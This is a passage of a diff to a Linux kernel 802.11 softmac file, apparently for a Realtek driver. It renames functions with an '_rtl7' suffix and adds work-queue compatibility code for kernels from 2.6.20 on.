ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 